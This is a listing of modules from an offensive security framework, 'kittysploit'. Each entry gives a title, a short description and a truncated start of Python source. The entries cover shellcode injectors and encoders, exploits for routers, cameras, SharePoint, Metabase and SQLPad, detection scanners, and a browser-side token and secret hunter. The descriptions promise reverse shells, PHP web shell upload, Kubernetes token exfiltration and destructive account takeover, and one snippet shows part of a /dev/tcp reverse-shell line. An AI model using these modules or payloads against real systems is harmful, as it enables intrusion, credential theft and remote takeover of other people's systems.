Classic Remote Shellcode Injection

Build an injector EXE that decrypts shellcode and injects it into a remote process via VirtualAllocEx/WriteProcessMemory/CreateRemoteThread. !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from lib.compile.backdoorhelpers import buildencryptedzigbackdoor, optionvalue from...

Keycloak CVE-2026-18963 reset-credentials bypass

CVE-2026-18963 Keycloak 26.0.0–26.7.1: re-navigation to reset-credentials re-opens the authentication selector and reset-credential-email accepts success without the emailed action token. Default: detect-only; set confirm=true to overwrite the target user's password destructive ATO. !/usr/bin/env...

Joomla Simple Membership CVE-2026-102782 Detect

Detects OrdaSoft comsimplemembership 7.4.0 and reachable checkLoginPass task. !/usr/bin/env python3 -- coding: utf-8 -- """Detect Joomla Simple Membership CVE-2026-102782.""" import re from urllib.parse import urlencode from kittysploit import from lib.protocols.http.httpclient import Httpclient...

WordPress Unlimited Elements blind SQLi (CVE-2026-103355)

CVE-2026-103355: Unlimited Elements for Elementor = 2.0.20 concatenates terms-listing parent IDs into WPTermQuery. When two pages exist whose widget stores boolean tautology vs falsity payloads, comparing rendered term output confirms blind SQL injection. Provide oracletruepath and oraclefalsepat...

Binwalk CVE-2022-4510 Detect

Detects Binwalk web admin console authenticated plugin RCE chain. !/usr/bin/env python3 -- coding: utf-8 -- """Detects Binwalk web admin console authenticated plugin RCE chain.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info =...

Phproject CVE-2026-104991 detect

Detects self-hosted Phproject = 1.8.6 REST issue API used in CVE-2026-104991 missing allowAccess on read/comment endpoints when security.restrictaccess is enabled. !/usr/bin/env python3 -- coding: utf-8 -- """Detect Phproject issue tracker CVE-2026-104991 REST BOLA context.""" import re from...

SQLPad CVE-2022-0944 Detect

Detects SQLPad web console. !/usr/bin/env python3 -- coding: utf-8 -- """Detects SQLPad web console.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info = "name": "SQLPad CVE-2022-0944 Detect", "description": "Detects SQLPad web...

PDF.js CVE-2024-4367 FontMatrix RCE delivery

CVE-2024-4367: Type1 FontMatrix injection runs JavaScript in PDF.js viewers; upload malicious PDF and callback to LHOST for confirmation. !/usr/bin/env python3 -- coding: utf-8 -- """PDF.js CVE-2024-4367 FontMatrix JavaScript execution via PDF upload.""" from future import annotations import os...

image-downloader CVE-2026-103648 wrapper detect

Detects Node.js apps exposing a user-controlled image URL fetch endpoint pattern associated with CVE-2026-103648 image-downloader 4.3.1 path traversal. !/usr/bin/env python3 -- coding: utf-8 -- """Detect HTTP wrappers around vulnerable image-downloader 4.3.1.""" import json from kittysploit impor...

Nezha Monitoring CVE-2026-53519 JWT forgery

CVE-2026-53519: path traversal under the Nezha dashboard exposes data/config.yaml jwtsecretkey and data/sqlite.db. Forges an HS256 admin JWT and verifies access to /api/v1/profile. !/usr/bin/env python3 -- coding: utf-8 -- """Nezha Monitoring CVE-2026-53519 path traversal + JWT forgery admin...

binwalk CVE-2022-4510 PFS traversal RCE

CVE-2022-4510 binwalk & /dev/tcp/lhost/lport 0&1",\n stdin=subprocess.DEVNULL...

OpenSTAManager CVE-2025-69212 Detect

Detects OpenSTAManager login authenticated import RCE chain. !/usr/bin/env python3 -- coding: utf-8 -- """Detects OpenSTAManager login authenticated import RCE chain.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info = "name":...

Metabase CVE-2023-38646 H2 trigger RCE

CVE-2023-38646 Metabase 0.46.7: leaked setup-token plus /api/setup/validate H2 JDBC string runs a CREATE TRIGGER whose JavaScript body calls Runtime.exec blind — confirm via callback or shell. !/usr/bin/env python3 -- coding: utf-8 -- """Metabase CVE-2023-38646 pre-auth H2 JDBC trigger RCE...

SQLPad CVE-2022-0944 Handlebars SSTI RCE

CVE-2022-0944 SQLPad = 6.10.0: unauthenticated POST /api/test-connection embeds attacker input in Handlebars templates leading to Node childprocess.execSync blind; exfil or reverse shell. !/usr/bin/env python3 -- coding: utf-8 -- """SQLPad CVE-2022-0944 unauthenticated Handlebars SSTI RCE blind."...

x64 AES-128 AES-NI Encoder

Encrypts shellcode with AES-128-ECB and prepends an x64 AES-NI decoder stub requires AES-NI on the target CPU. !/usr/bin/env python3 -- coding: utf-8 -- """AES-128 AES-NI encoder for x64 shellcode — same layout as Awesome-EDR 02 style runners.""" from kittysploit import from core.lib.shellcodeaes...

Zammad CVE-2026-102489 Session Fixation Detect

Detects Zammad helpdesk instances potentially vulnerable to CVE-2026-102489 session fixation leading to RCE as the zammad user. Affects Zammad 6.3.0–6.5.4; chain with CVE-2026-102490 for root LPE. !/usr/bin/env python3 -- coding: utf-8 -- """Detect Zammad session fixation RCE surface...

Ivanti EPMM Authentication Bypass (CVE-2023-35082)

Exploits CVE-2023-35082 in Ivanti EPMM MobileIron Core 11.2 and older: unauthenticated access to /mifs/asfV3/api/v2/admins/users allows admin enumeration and account creation. !/usr/bin/env python3 -- coding: utf-8 -- """Ivanti EPMM/MobileIron unauthenticated API access CVE-2023-35082.""" import...

TOTOLINK A3700R Command Injection (CVE-2023-46574)

Exploits CVE-2023-46574 in TOTOLINK A3700R: command injection in the FileName parameter of UploadFirmwareFile via /cgi-bin/cstecgi.cgi. !/usr/bin/env python3 -- coding: utf-8 -- """TOTOLINK A3700R firmware upload command injection CVE-2023-46574.""" import json import re from kittysploit import...

SharePoint ToolPane Register Injection RCE (CVE-2026-65660)

Exploits CVE-2026-65660 in Microsoft SharePoint: unescaped quotes in MSOTlPnDWP Register directive reconstruction allow injecting additional directives and XamlServices.Parse gadget chains via AddGallery/ToolPane endpoints. !/usr/bin/env python3 -- coding: utf-8 -- """SharePoint ToolPane Register...

Zeroshell kerbynet RCE (CVE-2019-12725)

Exploits CVE-2019-12725 in Zeroshell 3.9.0: newline injection in the User parameter of kerbynet StartSessionSubmit yields unauthenticated RCE. !/usr/bin/env python3 -- coding: utf-8 -- """Zeroshell kerbynet command injection CVE-2019-12725.""" import re import urllib.parse from kittysploit import...

mcp-server-kubernetes RCE (CVE-2026-61459)

Full-chain CVE-2026-61459: inject --server into kubectl MCP tools to exfiltrate the cluster bearer token, then create a privileged pod running the configured reverse CMD payload via the Kubernetes API. !/usr/bin/env python3 -- coding: utf-8 -- """mcp-server-kubernetes argument injection to pod RC...

XiongMai uc-httpd Overflow (CVE-2018-10088)

Exploits CVE-2018-10088 in XiongMai uc-httpd 1.0.0 used in many IP cameras/DVRs: stack buffer overflow via oversized HTTP headers. Verifies uc-httpd surface and sends the canonical overflow trigger arch-specific shellcode may be required. !/usr/bin/env python3 -- coding: utf-8 -- """XiongMai...

Zammad Local Privilege Escalation (CVE-2026-102490)

Post-exploitation module for CVE-2026-102490: escalates from the zammad service user to root on Zammad installations when a writable sudoers drop-in, cron job, or package hook is abusable. Intended as the second stage after CVE-2026-102489 session fixation RCE. !/usr/bin/env python3 -- coding:...

Kestra <= 1.3.20 / 1.0.44 - /configs Auth Bypass RCE (CVE-2026-49869)

Exploits CVE-2026-49869: Micronaut AuthenticationFilter whitelists any path ending in /configs. Unauthenticated PUT creates a shell workflow, POST triggers execution, logs are polled for command output. Fixed in Kestra 1.0.45 and 1.3.21. !/usr/bin/env python3 -- coding: utf-8 -- """Kestra OSS...

LiteLLM CVE-2026-59822 MCP Auth Bypass Detect

Detects CVE-2026-59822 in LiteLLM proxy before 1.84.0: failed LiteLLM key validation on the MCP Streamable HTTP endpoint falls back to an empty UserAPIKeyAuth object when a fabricated Authorization Bearer is supplied. !/usr/bin/env python3 -- coding: utf-8 -- """Detect LiteLLM CVE-2026-59822 MCP...

jQuery File Upload RCE (CVE-2018-9206)

Exploits CVE-2018-9206 by uploading a PHP shell to blueimp jQuery-File-Upload endpoints and executing commands via GET. Opens an interactive execute session. !/usr/bin/env python3 -- coding: utf-8 -- """blueimp jQuery File Upload unauth PHP upload RCE CVE-2018-9206 — execute session.""" from futu...

SAP Solution Manager EEM RCE (CVE-2020-6207)

Exploits CVE-2020-6207 missing authentication on /EemAdminService/EemAdmin to upload an AssignJS EEM script and execute self.payload on a connected SAP Diagnostics Agent via Rhino/Java Runtime. !/usr/bin/env python3 -- coding: utf-8 -- """SAP Solution Manager EEM servlet RCE CVE-2020-6207 — rever...

Apache Solr CVE-2019-0193 Velocity RCE Detection

Detects CVE-2019-0193 by running a marker echo through the Velocity response writer on /core/select wt=velocity. !/usr/bin/env python3 -- coding: utf-8 -- """Apache Solr CVE-2019-0193 Velocity template RCE detection.""" import re from kittysploit import from lib.protocols.http.httpclient import...

D-Link DIR-645 & DIR-815 RCE

Module exploits D-Link DIR-645 and DIR-815 Remote Code Execution vulnerability which allows executing command on the device. !/usr/bin/env python3 -- coding: utf-8 -- """D-Link DIR-645 & DIR-815 RCE""" from kittysploit import from lib.protocols.http.httpclient import Httpclient from...

XiongMai UC-HTTPd Path Traversal

Module exploits UC-HTTPd Path Traversal vulnerability in multiple XiongMai cameras. If target is vulnerable it is possible to list directories and read files from the file system. !/usr/bin/env python3 -- coding: utf-8 -- """XiongMai UC-HTTPd Path Traversal""" import re from kittysploit import fr...

Linksys WAP54Gv3

Module exploits remote command execution in Linksys WAP54Gv3 devices. Debug interface allows executing root privileged shell commands is available on dedicated web pages on the device. !/usr/bin/env python3 -- coding: utf-8 -- """Linksys WAP54Gv3""" import re from kittysploit import from...

AsusWRT Lan RCE

Module exploits multiple vulnerabilities to achieve remote code execution in AsusWRT firmware. The HTTP server contains vulnerability that allows bypass authentication via POST requests. Combining this with another vulnerability in the VPN configuration upload functionality allows setting NVRAM...

Beward IP Camera - servetest NTP Command Injection (CVE-2025-34042)

Exploits Beward camera command injection in ServerName of /cgi-bin/operator/servetest?cmd=ntp. Opens an interactive execute session. !/usr/bin/env python3 -- coding: utf-8 -- """Beward IP camera servetest NTP RCE — opens execute session.""" import re from urllib.parse import quote from kittysploi...

eXtplorer - password[] Auth Bypass Detection

Detects eXtplorer auth bypass via password= empty array login as admin. !/usr/bin/env python3 -- coding: utf-8 -- """eXtplorer password authentication bypass.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info = 'name': 'eXtplorer...

Apache HTTP Server 2.4.49-2.4.50 - Path Traversal / RCE Detection (CVE-2021-42013)

Detects CVE-2021-42013 incomplete fix for CVE-2021-41773 using double-encoded .%%32%65/ traversal to read /etc/passwd or execute via CGI bin/sh. !/usr/bin/env python3 -- coding: utf-8 -- """Apache HTTP Server 2.4.49-2.4.50 double-encoded path traversal / CGI RCE CVE-2021-42013.""" import re from...

phpMyAdmin - server_sync.php Backdoor Detection (CVE-2012-5159)

Detects CVE-2012-5159 by POSTing c=phpinfo; to /serversync.php. !/usr/bin/env python3 -- coding: utf-8 -- """phpMyAdmin serversync.php backdoor CVE-2012-5159.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info = 'name': 'phpMyAdmi...

Kyocera Printer - Address Book Disclosure Detection (CVE-2022-1026)

Kyocera printers exposing gSOAP allow unauthenticated SOAP calls to /ws/km-wsdl/setting/addressbook to export the personal address book CVE-2022-1026. !/usr/bin/env python3 -- coding: utf-8 -- """Kyocera printer address book disclosure via gSOAP CVE-2022-1026.""" import re import time from...

Zyxel NAS - Auth Bypass Indicator (CVE-2023-27992 family)

Detects Zyxel NAS authentication bypass via /cmd,/ck6fup6/zylogmain/configuremailsyslog, indicating exposure to the Jun/Nov 2023 vulnerability set including pre-auth command injection CVE-2023-27992 and related issues. !/usr/bin/env python3 -- coding: utf-8 -- """Zyxel NAS authentication bypass...

ManageEngine DC - statusUpdate Upload Detection (CVE-2014-5005)

Detects CVE-2014-5005/5006 by uploading a JSP via statusUpdate LFU path traversal and verifying execution. !/usr/bin/env python3 -- coding: utf-8 -- """ManageEngine Desktop Central statusUpdate arbitrary file upload CVE-2014-5005.""" from kittysploit import from lib.protocols.http.httpclient impo...

WordPress Podlove Podcast Publisher CVE-2026-13001 Detect

Detects Podlove Podcast Publisher = 4.5.1 vulnerable to unauthenticated file upload via image cache extension bypass CVE-2026-13001. Fixed in 4.5.2. !/usr/bin/env python3 -- coding: utf-8 -- """Detect Podlove Podcast Publisher CVE-2026-13001 = 4.5.1.""" from kittysploit import from...

RTSP describe dump

OPTIONS + DESCRIBE against an RTSP URL/session and dump SDP media tracks !/usr/bin/env python3 -- coding: utf-8 -- """RTSP DESCRIBE dump — SDP media inventory via session or URL.""" from kittysploit import from lib.protocols.rtsp.client import RTSPPORT, probertsp from lib.protocols.rtsp.session...

UPnP Device Inventory

Dump UPnP device identity and service list from an SSDP session or direct LOCATION/rhost discover. !/usr/bin/env python3 -- coding: utf-8 -- """Inventory UPnP device description and services.""" from kittysploit import from lib.protocols.upnp.client import SSDPPORT from lib.protocols.upnp.session...

Token / Secret Hunter

Hunt JWTs, Bearer tokens, API keys and session secrets across storage, cookies, URL and DOM from kittysploit import import json class ModuleBrowserAuxiliary: info = "name": "Token / Secret Hunter", "description": "Hunt JWTs, Bearer tokens, API keys and session secrets across storage, cookies, URL...

Easy FancyBox - Full Path Disclosure Detection

Easy FancyBox WordPress plugin contains a full path disclosure vulnerability due to improper access restrictions in its source files, allowing unauthenticated attackers to retrieve full server paths and aiding exploitation. !/usr/bin/env python3 -- coding: utf-8 -- """Easy FancyBox WordPress plug...

GE Proficy WebSpace - Login Panel Detection

GE Proficy WebSpace is a thin-client delivery platform for GE Proficy HMI/SCADA iFIX, CIMPLICITY applications over the web. It exposes industrial HMI screens via browser on TCP/491 by default. The Server header "WebSocket++/0.7.0" is a unique indicator. !/usr/bin/env python3 -- coding: utf-8 --...

Fortinet FortiNAC Login Panel - Detect

Fortinet FortiNAC login panel was detected. !/usr/bin/env python3 -- coding: utf-8 -- """Fortinet FortiNAC login panel was detected.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info = 'name': 'Fortinet FortiNAC Login Panel -...

Apache Kafka Broker Detection

Detects Kafka brokers by sending an ApiVersions request on TCP 9092. !/usr/bin/env python3 -- coding: utf-8 -- """Detect Apache Kafka brokers via ApiVersions on TCP 9092.""" from kittysploit import from lib.protocols.tcp.tcpscannerclient import Tcpscannerclient from lib.scanner.kafka.detectors...

LearnDash LMS < 4.10.3 - Sensitive Information Exposure Detection

The LearnDash LMS plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 4.10.2 via API. This makes it possible for unauthenticated attackers to obtain access to quiz questions. !/usr/bin/env python3 -- coding: utf-8 -- """The LearnDash LMS plug...

Zyxel VMG1312-B10D - Login Detection

Detects Zyxel VMG1312-B10D - Login Detection. !/usr/bin/env python3 -- coding: utf-8 -- """Detects Zyxel VMG1312-B10D - Login Detection.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info = 'name': 'Zyxel VMG1312-B10D - Login...

Graphql Hasura Detect

Detects Graphql Hasura Detect. !/usr/bin/env python3 -- coding: utf-8 -- """Detects Graphql Hasura Detect.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info = 'name': 'Graphql Hasura Detect', 'description': 'Detects Graphql Hasur...